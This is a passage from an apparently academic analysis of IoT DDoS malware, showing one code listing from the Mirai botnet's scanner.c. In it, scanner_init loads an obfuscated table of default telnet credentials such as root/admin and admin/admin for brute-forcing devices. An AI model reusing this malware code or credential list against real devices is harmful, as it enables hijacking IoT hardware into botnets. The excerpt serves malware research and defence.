DDoS-Capable IoT Malwares: Comparative Analysis and Mirai Investigation

Listing 7

Mirai scanner process initializes the authentication table.

root/mirai/bot/scanner.c

void scanner_init(void)

    // …

    // root admin

    add_auth_entry("x50x4Dx4Dx56","x43

   x46x4Fx4Bx4C",8);

    // admin admin

    add_auth_entry("x43x46x4Fx4Bx4C","

   x43x46x4Fx4Bx4C",7);

    // root (none)

    add_auth_entry("x50x4Dx4Dx56","",4);

    // root root

    add_auth_entry("x50x4Dx4Dx56","x50

   x4Dx4Dx56",4);

    // user user

    add_auth_entry("x57x51x47x50","x57

   x51x47x50",3);

    // admin (none)

    add_auth_entry("x43x46x4Fx4Bx4C

   ","",3);

    // …